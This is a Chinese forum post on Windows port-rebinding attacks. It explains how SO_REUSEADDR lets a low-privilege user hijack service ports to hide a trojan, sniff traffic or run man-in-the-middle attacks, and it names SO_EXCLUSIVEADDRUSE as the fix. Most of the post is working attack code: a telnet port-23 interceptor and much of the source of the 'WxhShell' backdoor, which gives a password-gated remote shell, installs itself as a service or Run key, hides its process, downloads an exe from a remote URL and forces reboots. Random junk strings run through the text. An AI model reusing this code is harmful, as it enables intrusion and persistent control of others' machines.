社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19038阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $0*D7P^8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xu.TS  
rPK1#  
  saddr.sin_family = AF_INET; <xUX&J=;  
3&zcdwPj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |?t}7V#[  
{_ {zs!r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UN|S!&C$  
=-]NAj\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aSIoq}c(  
h/]));p  
  这意味着什么?意味着可以进行如下的攻击: Q2"K!u]  
{R?VB!dR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ")9jt^  
b1EY6'R2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 465?,EpS  
:@~mN7O*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 byPqPSY  
|%@pjJ`3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P52qtN<  
Sb^o`~ Eh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kOQ!]-;  
nw0Tg= P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >cH}sNHy  
vf-8DB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]Xg7XY  
^e--4B9|  
  #include %[on.Q'1]2  
  #include iN1_ T  
  #include _Uhl4Mh  
  #include    8;O/x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3cc;BWvM  
  int main() wZt2%+$6m  
  { \hP.Q;"MtO  
  WORD wVersionRequested; |a=7P  
  DWORD ret; {T3~js   
  WSADATA wsaData; MP~+@0cv  
  BOOL val; HqXS-TG  
  SOCKADDR_IN saddr; $V;0z~&!'  
  SOCKADDR_IN scaddr; D{6<,#P{w  
  int err; M=4`^.Ocm  
  SOCKET s; =g?k`v p  
  SOCKET sc; 3*N0oc^m  
  int caddsize; 3x>Y  
  HANDLE mt; W8M(@* T  
  DWORD tid;   Z<#h$XUA  
  wVersionRequested = MAKEWORD( 2, 2 ); Lc0=5]D   
  err = WSAStartup( wVersionRequested, &wsaData ); ucFfxar"  
  if ( err != 0 ) { =lL)g"x X  
  printf("error!WSAStartup failed!\n"); Tr, zV  
  return -1; 3[<D"0#},  
  } 's$/-AV  
  saddr.sin_family = AF_INET; F!P,%Jm I<  
   2:&L|;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xXCsJ9]  
ne%(`XY{Q]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0F6~S   
  saddr.sin_port = htons(23); Gm=e;X;r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \ lK `  
  { 0P;\ :-&p  
  printf("error!socket failed!\n"); )B"E+Q'h{7  
  return -1; t c{Qd&"(  
  } p5J!j I=  
  val = TRUE; 95Q^7oI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _7 ^:1i~:.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <(l`zLf4p  
  { YwZ ]J  
  printf("error!setsockopt failed!\n"); }brBhe8a  
  return -1; 0B"_St}3D  
  } f |NXibmP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V5p->X2#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &.JJhX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vJ e c+a  
Z61L;E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Px&)kEQ  
  { `Dp4Z>| K  
  ret=GetLastError(); f& Vx`oj  
  printf("error!bind failed!\n"); R#!Urhh  
  return -1; 7,Y+FZ  
  } 7V&ly{</  
  listen(s,2); nGxG!  
  while(1) T$Z}1e]  
  { ]j]<CqG  
  caddsize = sizeof(scaddr); Kxi@"<`S  
  //接受连接请求 %`lLX/4~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >]kZ2gVt  
  if(sc!=INVALID_SOCKET) (V0KmNCW`  
  { t:n$9WB)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6uxF<  
  if(mt==NULL) xW58B  
  { DuIgFp  
  printf("Thread Creat Failed!\n"); a0 's6C  
  break; 4)Ew rU  
  } q oEZ>  
  } I>lblI$7  
  CloseHandle(mt); G$2Pny<!  
  } X39%O'  
  closesocket(s); ,_ @) IN  
  WSACleanup(); Bnw^W _  
  return 0; =KHX_ib  
  }   2\CZ"a#[  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]PB95%  
  { S$/SFB$)~W  
  SOCKET ss = (SOCKET)lpParam; 60l!3o"p!  
  SOCKET sc; MHS|gR.c  
  unsigned char buf[4096]; q><wzCnRu~  
  SOCKADDR_IN saddr; ;A0ZcgF  
  long num; ={50>WXE  
  DWORD val; oSl}A,aQ(  
  DWORD ret; [d=BN ,?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |}@teN^J*U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qNUd "%S  
  saddr.sin_family = AF_INET; VH] <o0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O6ltGtF  
  saddr.sin_port = htons(23); JY%l1:}G3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ? 3oUkGfn  
  { J)sOne  
  printf("error!socket failed!\n"); AvB21~t&]  
  return -1; .e\PCf9v  
  } Nx!7sE*b$1  
  val = 100; ,My'_"S?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f/{ClP.  
  { f'Rq#b@  
  ret = GetLastError(); d"S\j@  
  return -1; _p<wATv?7t  
  } %&wi@ *#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7wHd*{^9N  
  { h~ q5GhY!9  
  ret = GetLastError(); (]-RL A>  
  return -1; ES)_X:\X?V  
  } \"d\b><R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uCgJ F@  
  { be [E^%  
  printf("error!socket connect failed!\n"); >AWWwq -  
  closesocket(sc); @*WrHoa2N  
  closesocket(ss); Nj +^;Y  
  return -1; DIgur}q)@  
  } :\^jIKvZ  
  while(1) W>u{JgY  
  { u ^M'[<{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7gREcL2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @B!gxW\C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >^g\s]c[  
  num = recv(ss,buf,4096,0); zek>]l`!  
  if(num>0) oAv LSFn  
  send(sc,buf,num,0); Ob]J!.  
  else if(num==0) ()<?^lr33  
  break; #<es>~0!  
  num = recv(sc,buf,4096,0); me90|GOx+  
  if(num>0) P.djR)YI  
  send(ss,buf,num,0); JO~62='J  
  else if(num==0) | NyANsI  
  break; <slrzc_>&  
  } g|j15&x  
  closesocket(ss); /&l4 sF1  
  closesocket(sc); 34L1Gxf  
  return 0 ; o+}G/*O8  
  } PB~ r7O]  
xrkR)~ E  
+5GPU 9k  
========================================================== ~DS.b-E  
z7pw~Tqlz  
下边附上一个代码,,WXhSHELL eKRE1DK  
k{bC3)'$#R  
========================================================== {gzVbZ#  
9[[$5t`8  
#include "stdafx.h" XJ1Bl  
h r6?9RJY  
#include <stdio.h> (UZ].+)s  
#include <string.h> "YVr/u  
#include <windows.h> Y4[oa?G  
#include <winsock2.h> "i&9RA! 1  
#include <winsvc.h> f[?JLp   
#include <urlmon.h> BC#O.93`  
(~fv;}}v  
#pragma comment (lib, "Ws2_32.lib") 4ZkaH(a1  
#pragma comment (lib, "urlmon.lib") Xm<|m#  
+]Ev  
#define MAX_USER   100 // 最大客户端连接数 sAnb   
#define BUF_SOCK   200 // sock buffer }(K1=cEaL  
#define KEY_BUFF   255 // 输入 buffer &d]@$4u$;  
w Ju9.  
#define REBOOT     0   // 重启 |Z8Eu0RSb  
#define SHUTDOWN   1   // 关机 (IIZvCek  
LtV,djk  
#define DEF_PORT   5000 // 监听端口 r6It )PQ  
Kd*=-  
#define REG_LEN     16   // 注册表键长度 nuw7pEW@?  
#define SVC_LEN     80   // NT服务名长度 t >Rh  
n*9nzx#q  
// 从dll定义API Y/ %XkDC~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TY?O$d2b3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  m=a^t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Az/B/BLB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g*!1S  
xl9S=^`=  
// wxhshell配置信息 tjQ6[`  
struct WSCFG { dV /Es  
  int ws_port;         // 监听端口 nd w&F'.r  
  char ws_passstr[REG_LEN]; // 口令 >u]9(o7I  
  int ws_autoins;       // 安装标记, 1=yes 0=no o ^ 08<  
  char ws_regname[REG_LEN]; // 注册表键名 2s}G6'xE]P  
  char ws_svcname[REG_LEN]; // 服务名 MjbgAH-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QY*F(S,\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M^G9t*I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QQD7NN>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x:c'ek  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i?,\>LTG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .R^ R|<x  
iu2O/l# r  
}; yE;S6 O  
:k2 J &@8  
// default Wxhshell configuration 0qm CIcg  
struct WSCFG wscfg={DEF_PORT, +^%)QH>9   
    "xuhuanlingzhe", KL"_h`UW  
    1, *nEG<Y)  
    "Wxhshell", Y Azj>c&  
    "Wxhshell", 'Z)#SzY  
            "WxhShell Service", ux)Wh.5  
    "Wrsky Windows CmdShell Service", +W8kMuM!  
    "Please Input Your Password: ", OHv9|&Tpl  
  1, V6B[eV$D  
  "http://www.wrsky.com/wxhshell.exe", %g69kizoWi  
  "Wxhshell.exe" 0a1Mu>P,  
    }; 0v``4z2Z  
fS p  
// 消息定义模块 2>f3n W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W*/2x8$d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3N4kW[J2i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [WXcp1p  
char *msg_ws_ext="\n\rExit."; <RcB: h  
char *msg_ws_end="\n\rQuit."; -h=wLYl@0i  
char *msg_ws_boot="\n\rReboot..."; ]C{N4Ni^Z  
char *msg_ws_poff="\n\rShutdown..."; .N7&Jy  
char *msg_ws_down="\n\rSave to "; E+ /XKF  
t0Inf [um  
char *msg_ws_err="\n\rErr!"; |nU%H=Rs/  
char *msg_ws_ok="\n\rOK!"; t{`uN  
zoBp02j  
char ExeFile[MAX_PATH]; r4fd@<=g  
int nUser = 0; g[;&_gL  
HANDLE handles[MAX_USER]; IR32O,)  
int OsIsNt; {MUO25s02  
4L r,}t A  
SERVICE_STATUS       serviceStatus; M XuHA?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .=) *Qx+  
ONUa7  
// 函数声明 }%<cF i &  
int Install(void); -s ^cy+jd  
int Uninstall(void); 4b}'W}  
int DownloadFile(char *sURL, SOCKET wsh); NOf{Xx<#k  
int Boot(int flag); N:EljzvP}  
void HideProc(void); O%<+&Q7  
int GetOsVer(void); ReGT*+UN  
int Wxhshell(SOCKET wsl); '-#gQxIpD  
void TalkWithClient(void *cs); *z]P|_:&G  
int CmdShell(SOCKET sock); @6-3D/=  
int StartFromService(void); @KJmNM1]V  
int StartWxhshell(LPSTR lpCmdLine); &a6-+r  
;CuL1N#I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G]dHYxG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pV1 ;gqXNS  
0*j\i@  
// 数据结构和表定义 <~e*YrJ?-  
SERVICE_TABLE_ENTRY DispatchTable[] = 5f75r  
{ hTPvt  
{wscfg.ws_svcname, NTServiceMain}, BF"eVKA  
{NULL, NULL} %Rf{v5  
}; u3DFgl3-7  
g@ ]1H41  
// 自我安装 }a%Wu 7D  
int Install(void) kmt+E'^]  
{ 4$4Tx9C  
  char svExeFile[MAX_PATH]; VeH%E.:  
  HKEY key; .5tXwxad"  
  strcpy(svExeFile,ExeFile); Mb97S]878I  
24f N3  
// 如果是win9x系统,修改注册表设为自启动 9e&*+ +vf  
if(!OsIsNt) { mA #^Pv*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jU}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (1'sBm7F  
  RegCloseKey(key); @JOsG-VW~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ) }k"7"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ObataUxQT  
  RegCloseKey(key); @?</8;%3W  
  return 0; 2 ]r5e;  
    } S)"vyGv  
  } i,L"%q)C  
} L l,nt  
else { la_  
L>N)[;|  
// 如果是NT以上系统,安装为系统服务 UM'JK#P"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); . :(gg  
if (schSCManager!=0) MW0CqMi]T  
{ 1Sv$!xX`n  
  SC_HANDLE schService = CreateService 1M[|9nWUC  
  ( YP{mzGdE&  
  schSCManager, 7j"B-k#  
  wscfg.ws_svcname, F^!mgU X  
  wscfg.ws_svcdisp, 5!6}g<z&L  
  SERVICE_ALL_ACCESS, f%REN3=5K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GB}X  
  SERVICE_AUTO_START, ke'OT>8  
  SERVICE_ERROR_NORMAL, }-&#vP~I  
  svExeFile, wD@ wOC  
  NULL, $:?=A5ttuo  
  NULL, %F<3_#Y  
  NULL, @d|]BqQ4jh  
  NULL, !DKl:8mx4  
  NULL Y1BxRd?D  
  ); fi6_yFl  
  if (schService!=0) z7a @'+'  
  { XLm@, A[  
  CloseServiceHandle(schService); " j:15m5  
  CloseServiceHandle(schSCManager); _$v$v$74^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [U7r>&  
  strcat(svExeFile,wscfg.ws_svcname); DyQvk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1z3I^gI*i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l_(4CimOZ  
  RegCloseKey(key); ],wzZhA  
  return 0; O^R ^Aw  
    } 8)J,jh9q  
  } XsMETl"Av4  
  CloseServiceHandle(schSCManager); =I+5sCF{g  
} pf0uwXo  
} > !HC ?  
=gSACDTc  
return 1; ry4:i4/[  
} >*}m .'u  
> 'JWW*Y!  
// 自我卸载 k59.O~0V  
int Uninstall(void) >k u7{1)  
{ IZ]L.0,  
  HKEY key; $U%N$_k?  
oXqx]@7  
if(!OsIsNt) { tNW0 C]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %'dsb7n  
  RegDeleteValue(key,wscfg.ws_regname); q,j` _ R4  
  RegCloseKey(key); lpefOnO[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vpk~,D07yR  
  RegDeleteValue(key,wscfg.ws_regname); 1{wOjq(4  
  RegCloseKey(key); bvo }b-]E  
  return 0; J-Fqw-<aFJ  
  } @'S !G"\  
} }$s._)a  
} r}t%DH  
else { uC1v^!D  
et}s yPH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %W$?*Tm  
if (schSCManager!=0) ?^: xNRE$j  
{ 1;+(HB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q5~fU$ ,  
  if (schService!=0) 1)M%]I4  
  { DFqVZ   
  if(DeleteService(schService)!=0) { nZUBblRJ)  
  CloseServiceHandle(schService); h,'m*@Eg  
  CloseServiceHandle(schSCManager); }sGH}n<9*  
  return 0; i(<do "Am<  
  } 8f#&CC!L  
  CloseServiceHandle(schService); _NM=9cWd  
  } s ,GGO3^  
  CloseServiceHandle(schSCManager); =7U 8`]WA  
} +' ?axv6e  
} %MN>b[z  
fehM{)x2:  
return 1; 2lBu"R6}  
} YCB=RT]&`  
3 jay V  
// 从指定url下载文件 ?I#zcD)w  
int DownloadFile(char *sURL, SOCKET wsh) `LVX|l62  
{ FYeUz$/  
  HRESULT hr; p:^;A/D  
char seps[]= "/"; 5nG$6Hw  
char *token; 7o64|@'j  
char *file; ZD]5"oHY  
char myURL[MAX_PATH]; jhSc9  
char myFILE[MAX_PATH]; y]E ?\03"  
,0[h`FN  
strcpy(myURL,sURL); T WgI-xB  
  token=strtok(myURL,seps); "@E(}z'sM  
  while(token!=NULL) =nN&8vRH  
  { WqRg/  
    file=token; :+|os"  
  token=strtok(NULL,seps); i6h , Aw3  
  } ||k^pzj%  
]#x? [ F  
GetCurrentDirectory(MAX_PATH,myFILE); B (dq$+4  
strcat(myFILE, "\\"); *Z"(K\1TH  
strcat(myFILE, file); |Xl,~-.  
  send(wsh,myFILE,strlen(myFILE),0); m.N/g,  
send(wsh,"...",3,0); 0sKY;(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ot_xeg;7  
  if(hr==S_OK) P(za8l>  
return 0; ws$!-t4<(  
else t6O/Q0_  
return 1; AW:WDNQh8n  
}x1p~N+;  
} "5R8Zl+  
%8yX6`lH  
// 系统电源模块 P$i?%P~  
int Boot(int flag) G@igxnm}  
{ n~k9Z^ $  
  HANDLE hToken; gb_k^wg~1'  
  TOKEN_PRIVILEGES tkp; pjX')i<  
ryp@<}A]!d  
  if(OsIsNt) { YWPAc>uw,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |>P`Gl]E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c B9`U4<  
    tkp.PrivilegeCount = 1; r$~ f[cA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <ib# PLRM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kyc Z  
if(flag==REBOOT) { f ^f{tOX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n.$wW =  
  return 0; C.$`HGv  
} C0F#PXU y  
else { <<P& MObqj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "b"Q0"w  
  return 0; v1Lu.JQC$  
} (s`yMUC+  
  } \f_YJit  
  else { 6uf+,F  
if(flag==REBOOT) { e&(Di,%:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jz2W/EE`w  
  return 0; QNH5Cq;Y  
} 9RoN,e8!  
else { -\!"Kz/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PuhFbgxy  
  return 0; :n&n"`D~  
} .q1OT>  
} NK+iLXC  
j6KGri  
return 1; $z~sN  
} f|1GlUA{t  
Svo gvn  
// win9x进程隐藏模块 u;Q'xuo3  
void HideProc(void) b;O|-2AR  
{ nx >PZb  
+SSF=]4+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }pa@qZXh  
  if ( hKernel != NULL ) t*zBN!Wu_  
  { V[Jd1T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D@(Y.&_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  `Up Zk?k  
    FreeLibrary(hKernel); MKYXYR  
  } OIa =$l43C  
=kUN ^hb  
return; b:nHcxDU<  
} i# 1:DiF  
<5Jp2x#  
// 获取操作系统版本 0'm4 ) \  
int GetOsVer(void)  ajayj|h  
{ ttPa[h{!  
  OSVERSIONINFO winfo; mzz77i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y,kTk  
  GetVersionEx(&winfo); 2rq)U+   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 40}8EP k)  
  return 1; s:UQ~p}"S  
  else V Z[[zYe  
  return 0; uJ4RjLM`  
} 99}n %(V  
f_r1(o 5:Y  
// 客户端句柄模块 a(Bo.T<2@  
int Wxhshell(SOCKET wsl) Wm nsD!  
{ mB.kV Ve0  
  SOCKET wsh; xGq,hCQHV  
  struct sockaddr_in client; H/p<lp  
  DWORD myID; QUp()B1  
xoD5z<<  
  while(nUser<MAX_USER) e}?#vTRI}  
{ 8]Xwj].^C  
  int nSize=sizeof(client); 8Vj]whE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h*f=  
  if(wsh==INVALID_SOCKET) return 1; -bK#&o,  
xr) Rx{)3h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t,;1?W#  
if(handles[nUser]==0) vIrLG1EK  
  closesocket(wsh); C G~ )`  
else /I3#WUc;![  
  nUser++; MC!K7ji  
  } 4Wq{ch  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `Njv#K} U  
 '._8  
  return 0; Yz0ruhEMk  
} !Re/W ykY  
,>n 4 `A  
// 关闭 socket N0h"EV[  
void CloseIt(SOCKET wsh) q#-szZQ  
{ _gK@),de  
closesocket(wsh); )p>BN|L  
nUser--; 7'_zJI^  
ExitThread(0); Ep0L51Q  
} Z'PE^ ,  
$WvI%r  
// 客户端请求句柄 IBY3QG  
void TalkWithClient(void *cs) !JjB,1  
{ |lIkmW{  
~a8J"Wh  
  SOCKET wsh=(SOCKET)cs; yOGa W~  
  char pwd[SVC_LEN]; zPU& }7  
  char cmd[KEY_BUFF]; A+3@N99HeH  
char chr[1]; [1'`KJ]  
int i,j; Zr_{Z@IpU  
MI|DOp  
  while (nUser < MAX_USER) { C_?L$3 U0  
]`&EB~K&NY  
if(wscfg.ws_passstr) { *A`hKx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); | QJ!5nb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G8@({EY  
  //ZeroMemory(pwd,KEY_BUFF); %O;"Z`I  
      i=0; 3=1aMQ  
  while(i<SVC_LEN) { 6#O n .Q  
LbtcZ)D!  
  // 设置超时 Dg/&m*Yl  
  fd_set FdRead; L@w|2  
  struct timeval TimeOut; *KF:  
  FD_ZERO(&FdRead); oYnA 3  
  FD_SET(wsh,&FdRead); _/ZIDIn  
  TimeOut.tv_sec=8; nbMnqkNb  
  TimeOut.tv_usec=0; 8zGe5Dn9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'i_od|19~h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k/O|ia 6  
=Z iyT$p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ; )O)\__"-  
  pwd=chr[0]; B=#rp*vwL  
  if(chr[0]==0xd || chr[0]==0xa) { X3I\O,"I  
  pwd=0; T5&jpP`M  
  break; QfB \h[A  
  } f3s0.G#l  
  i++; x`w 4LF  
    } * I`, L/  
%up ]"L&i  
  // 如果是非法用户,关闭 socket *'vX:n&t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7am._K  
} H^p ?t=Y  
F'W{\4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QP)-O*+AA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ',`iQt!Lx  
(1fE^KF@f  
while(1) { G5E03xvL  
5[esW  
  ZeroMemory(cmd,KEY_BUFF); s"p}>BjMIC  
Ttb @98  
      // 自动支持客户端 telnet标准   p8Di9\}  
  j=0; 'O8"M  
  while(j<KEY_BUFF) { xZjD(e'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Rw0$he  
  cmd[j]=chr[0]; fzRzkn:=  
  if(chr[0]==0xa || chr[0]==0xd) { tQbDP!,A*=  
  cmd[j]=0; ?C//UN;  
  break; .GM&]Hb  
  } x:O?Fj  
  j++; BS>|M}G)r  
    } bgqN&J)Jr)  
 $.(%7[  
  // 下载文件 @$gvV]dA  
  if(strstr(cmd,"http://")) { iDlIx8PI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %F9% t  
  if(DownloadFile(cmd,wsh)) zFqH)/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |! i3Y=X  
  else RO=[Rr!   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b[? 6/#N  
  } /d9I2~}B  
  else { kWc%u-_  
#QQ\xj  
    switch(cmd[0]) { RtGETiA\b  
  'N)&;ADx-G  
  // 帮助 L{ ?& .iA  
  case '?': { z9U<Z^4z+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mfQQ<Q@  
    break; 2I(0EBW  
  } ;#I(ucB<  
  // 安装 -RVwPY  
  case 'i': { XgP7 !  
    if(Install()) .6+j&{WNo!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =|bM|8,  
    else 1`r 4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IrjKI.PR  
    break; Aga2 I#1r  
    } QK<sibDI  
  // 卸载 ;&37mO/T  
  case 'r': { 'ADt<m_$  
    if(Uninstall()) jn>3(GRGC$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E< "aUnI  
    else k'&BAC.K,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `QXO+'j4  
    break; t8\F7F P  
    } )\l}i%L:  
  // 显示 wxhshell 所在路径 gpVZZ:~  
  case 'p': { Yvs)H'n=  
    char svExeFile[MAX_PATH]; *oL?R2#7  
    strcpy(svExeFile,"\n\r"); R5NDT4QYU  
      strcat(svExeFile,ExeFile); ZOK2BCoW  
        send(wsh,svExeFile,strlen(svExeFile),0); f{FW7T}O2  
    break; y/h~oGxy  
    } {*ATY+  
  // 重启 D3$PvX[f  
  case 'b': { 3bu VU& ap  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e3"GC_*#  
    if(Boot(REBOOT)) EA|*|o4)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %RG kXOgp  
    else { cjHo?m'  
    closesocket(wsh); QUVwO m  
    ExitThread(0); z J93EtlF  
